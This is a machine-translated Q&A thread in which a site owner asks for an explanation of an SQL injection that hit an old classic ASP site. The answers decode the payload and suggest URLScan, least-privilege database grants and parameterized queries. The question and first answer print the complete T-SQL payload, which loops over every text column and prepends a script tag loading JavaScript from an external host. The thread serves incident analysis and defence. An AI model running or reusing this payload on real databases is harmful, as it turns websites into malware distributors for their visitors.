Может кто-нибудь объяснить мне эту атаку SQL-инъекцией? - PullRequest
46 голосов
/ 05 декабря 2011

Я хотел бы опубликовать это здесь, так как оно очень сильно связано с кодированием, и на этой неделе мне пришлось кое-что почистить на одном из старых ASP (классических) сайтов моей компании.

Мы получили удар по SQLАтака с использованием инъекций, которая была проведена всего несколько дней назад, но я ломаю голову, ЧТО именно «повреждение» нанесло SQL-серверу (через эти SQL-запросы).

Честно говоря, я думал, что этоочень гениально, как это было реализовано, и моя компания виновата в том, что у него был старый 10-летний сайт с минимальным или нулевым санитарным воздействием.

Атака:

122 + объявить +% 40s + varchar% 284000% 29 + установить +% 40s% 3Dcast% + as + varchar% 284000% 29% 29 + exec% 28% 40s% 29-

Что он декодирует в: (что я хочу понять)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Мы восстановили резервную копию (предварительное внедрение), прошли все приложение и очистиливсе входные операторы.Наш сервер защищен брандмауэром, поэтому прямого доступа к SQL нет, однако я хочу знать, что еще можно оставить, и я должен признать, что запрос SQL у меня над головой.

Может кто-то взломать его иобъясните мне атаку SQL?

Извинения Я ОБНОВИЛ ПОЛНЫЙ DUMP & SQL

Ответы [ 5 ]

57 голосов
/ 05 декабря 2011

Простое форматирование для удобства чтения прояснит многое:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Он проходит через каждый текстовый столбец каждой таблицы и вставляет в него некоторый HTML - HTML, который содержит указатель на сгенерированный извне JavaScript.

15 голосов
/ 05 декабря 2011

Он проходит по всем столбцам во всех таблицах и обновляет их значение, добавляя тег <script>, источник которого указывает на вредоносный файл JS.

Важный бит

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Я предполагаю, что здесь что-то пропущено, и утверждение, вероятно, закончилось чем-то вроде ('varchar', 'char', 'text') или чем-то подобным, так что он пытается только обновить столбцы, содержащие текст.Они надеются, что один из столбцов содержит текст, который попадает на ваш сайт, поэтому после добавления ссылки на него в JS он будет включен в источник на различных страницах.

Чтобы это исправить, вам следуетсделать что-то похожее - перебрать все столбцы, содержащие текст, и заменить введенный скрипт пустой строкой.Google будет вашим другом здесь, но вот довольно симпатичная ссылка, которая может быть полезна при настройке сценария для этого.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

4 голосов
/ 05 декабря 2011

Рассмотрите возможность установки URLScan 3.1 для быстрой защиты вашего приложения от попыток внедрения SQL-кода, а также для правильной очистки ваших операторов SQL-запросов через ваше приложение.

Этот тип атаки SQL-инъекций также обычно работает, потому что у пользователя базы данных есть слишком свободные разрешения, например, DBO прав. Посмотрите на подключение к вашей базе данных из вашего приложения, используя пользователя базы данных только с правами, необходимыми для запуска вашего приложения. Вы можете создать пользователя базы данных, привязать его к своей базе данных только с общедоступными правами, а затем запустить скрипт, подобный приведенному ниже, для применения необходимых индивидуальных прав к каждому объекту, который вам необходим.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Очевидно, проверьте это по отношению к вашему конкретному приложению, поскольку у вас могут быть процедуры, требующие возможности выбора из этих таблиц sys.

0 голосов
/ 09 декабря 2013

Посмотрите на изменение ваших запросов, как это;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

На что-то вроде этого;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

Это просто грубый пример борьбы с SQL-инъекцией, не прибегая к дезинфекции ввода. Я все равно подхожу к этому по-другому.

0 голосов
/ 05 декабря 2011

Я думаю, что он пытается вставить закодированные строки во все текстовые столбцы в вашей базе данных. Проверьте эту ссылку: http://blog.strictly -software.com / 2009/10 / two-stage-sql -jection-attack.html

Надеюсь, это поможет в некотором смысле

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...